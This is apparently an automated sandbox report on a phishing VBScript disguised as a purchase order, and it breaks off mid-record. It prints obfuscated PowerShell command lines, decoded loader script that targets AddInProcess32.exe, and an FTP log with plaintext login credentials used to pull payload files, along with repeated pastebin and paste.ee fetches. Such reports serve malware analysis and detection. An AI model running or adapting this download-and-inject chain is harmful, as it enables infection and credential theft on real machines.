                                                      Data Ascii: 9yUi6Sm8aV1vInarJgEoA0LQcM2ZV1sA/mcfFJORACQvFdpbAKmxf8ryP1uW7CKA9q0WZm+Hpd7vLbCo7PI4A07JECpDCVLO/uM/c1xWgDQvFUfzkLJy58LzTjJ6+AIA9uCZEu7jgkwvNzKU+3GQA0rNvZ68/zPw/6sh+lQPADQv9UhdgUsUB/7zfpqfxBKA9yTayh8ElH0vQ3hIMSPAA07QHzyT49do/CNjYxo2wBQvrwKrAkwQl+L07ngO/AN
                                                      2024-10-07 05:10:15 UTC16384INData Raw: 41 41 41 41 41 41 41 61 41 4d 48 41 70 42 41 62 41 63 47 41 75 42 51 5a 41 41 43 41 75 42 51 59 41 4d 47 41 70 42 67 63 41 55 47 41 74 42 51 59 41 41 41 41 41 41 67 62 41 45 47 41 6a 42 51 61 41 49 48 41 6c 42 51 62 41 45 47 41 46 68 4c 46 41 55 45 75 77 43 51 52 37 53 4c 41 46 68 4c 70 2f 41 4f 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 50 2b 41 41 41 41 41 41 41 41 41 41 42 41 41 41 41 41 41 41 77 66 67 44 41 41 41 41 41 41 41 38 50 34 41 41 41 41 41 41 41 41 41 43 41 41 41 41 41 41 41 41 77 2f 77 44 41 41 41 41 41 41 41 38 48 38 41 41 41 41 41 41 41 41 2f 42 50 41 41 41 41 41 41 45 77 76 33 58 78 52 41 42 41 41 41 38 2f 2f 2f 2f 50 2b 41 41 41 41 2f 59 75 4c 43 35 76 2b 35 38 2b 50 4f 2f 62 76 2f 4c 59 78 4f 2b 7a 67 79 75 36 62 36 36 30
                                                      Data Ascii: AAAAAAAaAMHApBAbAcGAuBQZAACAuBQYAMGApBgcAUGAtBQYAAAAAAgbAEGAjBQaAIHAlBQbAEGAFhLFAUEuwCQR7SLAFhLp/AOAAAAAAAAAAAAAAAAAA8P+AAAAAAAAAABAAAAAAAwfgDAAAAAAA8P4AAAAAAAAACAAAAAAAAw/wDAAAAAAA8H8AAAAAAAA/BPAAAAAAEwv3XxRABAAA8////P+AAAA/YuLC5v+58+PO/bv/LYxO+zgyu6b660


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      3192.168.2.649790188.114.96.34433700C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      TimestampBytes transferredDirectionData
                                                      2024-10-07 05:10:16 UTC43OUTGET /d/FwIIK/0 HTTP/1.1
                                                      Host: paste.ee
                                                      2024-10-07 05:10:17 UTC1229INHTTP/1.1 200 OK
                                                      Date: Mon, 07 Oct 2024 05:10:17 GMT
                                                      Content-Type: text/plain; charset=utf-8
                                                      Content-Length: 582
                                                      Connection: close
                                                      Cache-Control: max-age=2592000
                                                      strict-transport-security: max-age=63072000
                                                      x-frame-options: DENY
                                                      x-content-type-options: nosniff
                                                      x-xss-protection: 1; mode=block
                                                      content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'
                                                      CF-Cache-Status: DYNAMIC
                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kbboqoZNtOyl6wCZoCxdsiG8YCy3YZMIVgKS8KnG%2B6XYvkZDzgui3j05xRf91mRfMjNudeCAkww%2BwQ5SHvb3UNvE%2BrLITgrKCAsJz5i7TGtGxvtivnTw%2FIqXqA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                      Server: cloudflare
                                                      CF-RAY: 8ceb6244bfeb42e7-EWR
                                                      alt-svc: h3=":443"; ma=86400
                                                      2024-10-07 05:10:17 UTC140INData Raw: 24 7a 73 62 44 74 20 3d 20 27 43 3a 5c 57 69 6e 64 6f 77 73 5c 4d 69 63 72 6f 73 6f 66 74 2e 4e 45 54 5c 27 20 2b 20 27 46 72 61 6d 65 77 6f 72 6b 5c 76 34 2e 30 2e 33 30 33 31 39 5c 27 20 2b 20 27 41 64 64 49 6e 50 72 6f 63 65 73 73 33 32 2e 65 78 65 27 3b 0a 0a 24 58 6f 68 73 4b 20 3d 20 22 3f 3f 25 79 7a 58 56 4d 25 22 0a 0a 24 55 65 62 54 61 20 3d 20 27 e2 86 93 3a e2 86 93 27 3b 0a 24 58 4b 76 48 76 20 3d 20 27
                                                      Data Ascii: $zsbDt = 'C:\Windows\Microsoft.NET\' + 'Framework\v4.0.30319\' + 'AddInProcess32.exe';$XohsK = "??%yzXVM%"$UebTa = ':';$XKvHv = '
                                                      2024-10-07 05:10:17 UTC442INData Raw: 41 27 3b 0a 0a 24 57 59 76 74 74 20 3d 20 27 25 71 6c 78 4b 50 25 27 2e 72 65 70 6c 61 63 65 28 20 24 55 65 62 54 61 2c 20 24 58 4b 76 48 76 20 29 3b 0a 5b 42 79 74 65 5b 5d 5d 20 24 6c 61 57 77 4a 20 3d 20 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 20 24 57 59 76 74 74 20 29 3b 0a 0a 24 72 51 43 4f 4e 20 3d 20 27 25 6e 6b 47 4d 76 25 27 2e 72 65 70 6c 61 63 65 28 20 24 55 65 62 54 61 2c 20 24 58 4b 76 48 76 20 29 3b 0a 5b 42 79 74 65 5b 5d 5d 20 24 61 6e 4b 6c 6f 20 3d 20 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 20 24 72 51 43 4f 4e 20 29 3b 0a 0a 24 61 7a 45 51 61 20 3d 20 22 43 6c 61 73 73 31 22 3b 0a 24 63 50 43 51 6f 20 3d 20
                                                      Data Ascii: A';$WYvtt = '%qlxKP%'.replace( $UebTa, $XKvHv );[Byte[]] $laWwJ = [System.Convert]::FromBase64String( $WYvtt );$rQCON = '%nkGMv%'.replace( $UebTa, $XKvHv );[Byte[]] $anKlo = [System.Convert]::FromBase64String( $rQCON );$azEQa = "Class1";$cPCQo =


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      4192.168.2.652528172.67.19.244437572C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      TimestampBytes transferredDirectionData
                                                      2024-10-07 05:10:20 UTC74OUTGET /raw/pQQ0n3eA HTTP/1.1
                                                      Host: pastebin.com
                                                      Connection: Keep-Alive
                                                      2024-10-07 05:10:20 UTC396INHTTP/1.1 200 OK
                                                      Date: Mon, 07 Oct 2024 05:10:20 GMT
                                                      Content-Type: text/plain; charset=utf-8
                                                      Transfer-Encoding: chunked
                                                      Connection: close
                                                      x-frame-options: DENY
                                                      x-content-type-options: nosniff
                                                      x-xss-protection: 1;mode=block
                                                      cache-control: public, max-age=1801
                                                      CF-Cache-Status: HIT
                                                      Age: 64
                                                      Last-Modified: Mon, 07 Oct 2024 05:09:16 GMT
                                                      Server: cloudflare
                                                      CF-RAY: 8ceb62576e8f8cc0-EWR
                                                      2024-10-07 05:10:20 UTC11INData Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a
                                                      Data Ascii: 6false,
                                                      2024-10-07 05:10:20 UTC5INData Raw: 30 0d 0a 0d 0a
                                                      Data Ascii: 0


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      5192.168.2.652562172.67.19.244437908C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      TimestampBytes transferredDirectionData
                                                      2024-10-07 05:10:25 UTC74OUTGET /raw/pQQ0n3eA HTTP/1.1
                                                      Host: pastebin.com
                                                      Connection: Keep-Alive
                                                      2024-10-07 05:10:25 UTC396INHTTP/1.1 200 OK
                                                      Date: Mon, 07 Oct 2024 05:10:25 GMT
                                                      Content-Type: text/plain; charset=utf-8
                                                      Transfer-Encoding: chunked
                                                      Connection: close
                                                      x-frame-options: DENY
                                                      x-content-type-options: nosniff
                                                      x-xss-protection: 1;mode=block
                                                      cache-control: public, max-age=1801
                                                      CF-Cache-Status: HIT
                                                      Age: 69
                                                      Last-Modified: Mon, 07 Oct 2024 05:09:16 GMT
                                                      Server: cloudflare
                                                      CF-RAY: 8ceb62786ef54381-EWR
                                                      2024-10-07 05:10:25 UTC11INData Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a
                                                      Data Ascii: 6false,
                                                      2024-10-07 05:10:25 UTC5INData Raw: 30 0d 0a 0d 0a
                                                      Data Ascii: 0


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      6192.168.2.652616172.67.19.244438112C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      TimestampBytes transferredDirectionData
                                                      2024-10-07 05:10:33 UTC74OUTGET /raw/pQQ0n3eA HTTP/1.1
                                                      Host: pastebin.com
                                                      Connection: Keep-Alive
                                                      2024-10-07 05:10:33 UTC396INHTTP/1.1 200 OK
                                                      Date: Mon, 07 Oct 2024 05:10:33 GMT
                                                      Content-Type: text/plain; charset=utf-8
                                                      Transfer-Encoding: chunked
                                                      Connection: close
                                                      x-frame-options: DENY
                                                      x-content-type-options: nosniff
                                                      x-xss-protection: 1;mode=block
                                                      cache-control: public, max-age=1801
                                                      CF-Cache-Status: HIT
                                                      Age: 77
                                                      Last-Modified: Mon, 07 Oct 2024 05:09:16 GMT
                                                      Server: cloudflare
                                                      CF-RAY: 8ceb62ac5af5428f-EWR
                                                      2024-10-07 05:10:33 UTC11INData Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a
                                                      Data Ascii: 6false,
                                                      2024-10-07 05:10:33 UTC5INData Raw: 30 0d 0a 0d 0a
                                                      Data Ascii: 0


                                                      FTP Packets

                                                      TimestampSource PortDest PortSource IPDest IPCommands
                                                      Oct 7, 2024 07:10:05.103120089 CEST2149712191.252.83.213192.168.2.6220 "Servico de FTP da Locaweb"
                                                      Oct 7, 2024 07:10:05.109451056 CEST4971221192.168.2.6191.252.83.213USER desckvbrat1
                                                      Oct 7, 2024 07:10:05.331486940 CEST2149712191.252.83.213192.168.2.6331 Username ok, send password.
                                                      Oct 7, 2024 07:10:05.340665102 CEST4971221192.168.2.6191.252.83.213PASS developerpro21578Jp@@
                                                      Oct 7, 2024 07:10:05.655292988 CEST2149712191.252.83.213192.168.2.6230 Login successful.
                                                      Oct 7, 2024 07:10:05.877283096 CEST2149712191.252.83.213192.168.2.6501 Invalid argument.
                                                      Oct 7, 2024 07:10:05.877546072 CEST4971221192.168.2.6191.252.83.213PWD
                                                      Oct 7, 2024 07:10:06.098730087 CEST2149712191.252.83.213192.168.2.6257 "/" is the current directory.
                                                      Oct 7, 2024 07:10:06.098887920 CEST4971221192.168.2.6191.252.83.213TYPE I
                                                      Oct 7, 2024 07:10:06.320388079 CEST2149712191.252.83.213192.168.2.6200 Type set to: Binary.
                                                      Oct 7, 2024 07:10:06.320588112 CEST4971221192.168.2.6191.252.83.213PASV
                                                      Oct 7, 2024 07:10:06.542382002 CEST2149712191.252.83.213192.168.2.6227 Entering passive mode (191,252,83,213,235,15).
                                                      Oct 7, 2024 07:10:06.551610947 CEST4971221192.168.2.6191.252.83.213RETR Upcrypter/01/DLL01.txt
                                                      Oct 7, 2024 07:10:06.773494005 CEST2149712191.252.83.213192.168.2.6150 File status okay. About to open data connection.
                                                      Oct 7, 2024 07:10:07.167748928 CEST2149712191.252.83.213192.168.2.6226 Transfer complete.
                                                      Oct 7, 2024 07:10:10.401952028 CEST2149746191.252.83.213192.168.2.6220 "Servico de FTP da Locaweb"
                                                      Oct 7, 2024 07:10:10.402107000 CEST4974621192.168.2.6191.252.83.213USER desckvbrat1
                                                      Oct 7, 2024 07:10:10.623613119 CEST2149746191.252.83.213192.168.2.6331 Username ok, send password.
                                                      Oct 7, 2024 07:10:10.623769999 CEST4974621192.168.2.6191.252.83.213PASS developerpro21578Jp@@
                                                      Oct 7, 2024 07:10:10.855659008 CEST2149746191.252.83.213192.168.2.6230 Login successful.
                                                      Oct 7, 2024 07:10:11.076808929 CEST2149746191.252.83.213192.168.2.6501 Invalid argument.
                                                      Oct 7, 2024 07:10:11.077025890 CEST4974621192.168.2.6191.252.83.213PWD
                                                      Oct 7, 2024 07:10:11.298681974 CEST2149746191.252.83.213192.168.2.6257 "/" is the current directory.
                                                      Oct 7, 2024 07:10:11.298825026 CEST4974621192.168.2.6191.252.83.213TYPE I
                                                      Oct 7, 2024 07:10:11.520301104 CEST2149746191.252.83.213192.168.2.6200 Type set to: Binary.
                                                      Oct 7, 2024 07:10:11.520497084 CEST4974621192.168.2.6191.252.83.213PASV
                                                      Oct 7, 2024 07:10:11.742386103 CEST2149746191.252.83.213192.168.2.6227 Entering passive mode (191,252,83,213,234,131).
                                                      Oct 7, 2024 07:10:11.747922897 CEST4974621192.168.2.6191.252.83.213RETR Upcrypter/01/Rumpe.txt
                                                      Oct 7, 2024 07:10:11.969630957 CEST2149746191.252.83.213192.168.2.6150 File status okay. About to open data connection.
                                                      Oct 7, 2024 07:10:12.181567907 CEST2149746191.252.83.213192.168.2.6150 File status okay. About to open data connection.
                                                      Oct 7, 2024 07:10:12.354515076 CEST2149746191.252.83.213192.168.2.6226 Transfer complete.
                                                      Oct 7, 2024 07:10:15.672908068 CEST4974621192.168.2.6191.252.83.213PASV
                                                      Oct 7, 2024 07:10:15.894035101 CEST2149746191.252.83.213192.168.2.6227 Entering passive mode (191,252,83,213,237,191).
                                                      Oct 7, 2024 07:10:15.900901079 CEST4974621192.168.2.6191.252.83.213RETR Upcrypter/01/Entry.txt
                                                      Oct 7, 2024 07:10:16.122711897 CEST2149746191.252.83.213192.168.2.6150 File status okay. About to open data connection.
                                                      Oct 7, 2024 07:10:16.523521900 CEST2149746191.252.83.213192.168.2.6226 Transfer complete.

                                                      Statistics

                                                      CPU Usage

                                                      Click to jump to process

                                                      Memory Usage

                                                      Click to jump to process

                                                      High Level Behavior Distribution

                                                      Click to dive into process behavior distribution

                                                      Behavior

                                                      Click to jump to process

                                                      System Behavior

                                                      General

                                                      Target ID:0
                                                      Start time:01:09:59
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\wscript.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs"
                                                      Imagebase:0x7ff6a8760000
                                                      File size:170'496 bytes
                                                      MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:2
                                                      Start time:01:09:59
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'MAEwARAAvADEAMAAvAHIAZQ' + [char]66 + '0AHAAeQ' + [char]66 + 'yAGMAcA' + [char]66 + 'VAC8Acg' + [char]66 + 'iAC4AbQ' + [char]66 + 'vAGMALg' + [char]66 + '0AGEAcg' + [char]66 + 'iAHYAaw' + [char]66 + 'jAHMAZQ' + [char]66 + 'kAC4AcA' + [char]66 + '0AGYAQAAxAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcA' + [char]66 + '0AGYAJwAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'EAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAIAA9ACAAZw' + [char]66 + 'TAHoAQw' + [char]66 + 'CAGwAJAA7ACkAJw' + [char]66 + 'AAEAAcA' + [char]66 + 'KADgANwA1ADEAMg' + [char]66 + 'vAHIAcA' + [char]66 + 'yAGUAcA' + [char]66 + 'vAGwAZQ' + [char]66 + '2AGUAZAAnACwAKQApADkANAAsADYAMQAxACwANwA5ACwANAAxADEALAA4ADkALAA4ADEAMQAsADcAMAAxACwAOQA5ACwANQAxADEALAAxADAAMQAsADAAMAAxACgAXQ' + [char]66 + 'dAFsAcg' + [char]66 + 'hAGgAYw' + [char]66 + 'bACAAbg' + [char]66 + 'pAG8AagAtACgAKA' + [char]66 + 'sAGEAaQ' + [char]66 + '0AG4AZQ' + [char]66 + 'kAGUAcg' + [char]66 + 'DAGsAcg' + [char]66 + 'vAHcAdA' + [char]66 + 'lAE4ALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAG8ALQ' + [char]66 + '3AGUAbgAgAD0AIA' + [char]66 + 'zAGwAYQ' + [char]66 + 'pAHQAbg' + [char]66 + 'lAGQAZQ' + [char]66 + 'yAEMALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4AIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACgAIAA9ACAAbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOw' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOw' + [char]66 + '9AGUAdQ' + [char]66 + 'yAHQAJA' + [char]66 + '7ACAAPQAgAGsAYw' + [char]66 + 'hAGIAbA' + [char]66 + 'sAGEAQw' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAZA' + [char]66 + 'pAGwAYQ' + [char]66 + 'WAGUAdA' + [char]66 + 'hAGMAaQ' + [char]66 + 'mAGkAdA' + [char]66 + 'yAGUAQw' + [char]66 + 'yAGUAdg' + [char]66 + 'yAGUAUwA6ADoAXQ' + [char]66 + 'yAGUAZw' + [char]66 + 'hAG4AYQ' + [char]66 + 'NAHQAbg' + [char]66 + 'pAG8AUA' + [char]66 + 'lAGMAaQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AIA' + [char]66 + 'mAC8AIAAwACAAdAAvACAAcgAvACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'uAHcAbw' + [char]66 + 'kAHQAdQ' + [char]66 + 'oAHMAIAA7ACcAMAA4ADEAIA' + [char]66 + 'wAGUAZQ' + [char]66 + 'sAHMAJwAgAGQAbg' + [char]66 + 'hAG0AbQ' + [char]66 + 'vAGMALQAgAGUAeA' + [char]66 + 'lAC4AbA' + [char]66 + 'sAGUAaA' + [char]66 + 'zAHIAZQ' + [char]66 + '3AG8AcAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIAApACAAJw' + [char]66 + 'wAHUAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + 'tAGEAcg' + [char]66 + 'nAG8Acg' + [char]66 + 'QAFwAdQ' + [char]66 + 'uAGUATQAgAHQAcg' + [char]66 + 'hAHQAUw' + [char]66 + 'cAHMAdw' + [char]66 + 'vAGQAbg' + [char]66 + 'pAFcAXA' + [char]66 + '0AGYAbw' + [char]66 + 'zAG8Acg' + [char]66 + 'jAGkATQ' + [char]66 + 'cAGcAbg' + [char]66 + 'pAG0AYQ' + [char]66 + 'vAFIAXA' + [char]66 + 'hAHQAYQ' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AFwAJwAgACsAIA' + [char]66 + 'aAEsAbg' + [char]66 + 'ZAE0AJAAgACgAIA' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAbg' + [char]66 + 'pAHQAcw' + [char]66 + 'lAEQALQAgACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAbQ' + [char]66 + 'lAHQASQAtAHkAcA' + [char]66 + 'vAEMAIAA7ACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'zAGUAcg' + [char]66 + 'vAG4ALwAgAHQAZQ' + [char]66 + 'pAHUAcQAvACAARw' + [char]66 + 'jAFcAaQ' + [char]66 + 'SACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'hAHMAdQ' + [char]66 + '3ACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wACAAOwApACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAFQAcg' + [char]66 + 'IAFYAdQAkACgAIAA9ACAARw' + [char]66 + 'jAFcAaQ' + [char]66 + 'SADsAKQAgAGUAbQ' + [char]66 + 'hAE4Acg' + [char]66 + 'lAHMAVQA6ADoAXQ' + [char]66 + '0AG4AZQ' + [char]66 + 'tAG4Abw' + [char]66 + 'yAGkAdg' + [char]66 + 'uAEUAWwAgACsAIAAnAFwAcw' + [char]66 + 'yAGUAcw' + [char]66 + 'VAFwAOg' + [char]66 + 'DACcAKAAgAD0AIA' + [char]66 + 'aAEsAbg' + [char]66 + 'ZAE0AJAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAVA' + [char]66 + 'yAEgAVg' + [char]66 + '1ACQAIAAsAEIASw' + [char]66 + 'MAFIAVQAkACgAZQ' + [char]66 + 'sAGkARg' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'mAG0AcA' + [char]66 + 'xAG4AJAA7ADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AZg' + [char]66 + 'tAHAAcQ' + [char]66 + 'uACQAOwApAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4AIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACgAIAA9ACAAZg' + [char]66 + 'tAHAAcQ' + [char]66 + 'uACQAOw' + [char]66 + '9ADsAIAApACcAdA' + [char]66 + 'PAEwAYw' + [char]66 + 'fAEsAYQAzAFoAZg' + [char]66 + 'vAFgAMg' + [char]66 + 'KAEoAcg' + [char]66 + 'WAGgAbQ' + [char]66 + 'WADkAYw' + [char]66 + 'tADkAWA' + [char]66 + 'zAHUAWA' + [char]66 + 'tAGoAMQ' + [char]66 + 'nADEAJwAgACsAIA' + [char]66 + 'JAG8AcQ' + [char]66 + 'hAEYAJAAoACAAPQAgAEkAbw' + [char]66 + 'xAGEARgAkAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AOwAgACkAJwAyADQAdQ' + [char]66 + 'YAEoAVA' + [char]66 + 'xAGEAbQ' + [char]66 + 'nAHkATQ' + [char]66 + '0AEYAeg' + [char]66 + 'hAGsAUA' + [char]66 + 'SADEAcQ' + [char]66 + 'fAEkAdg' + [char]66 + 'HAGkAWA' + [char]66 + 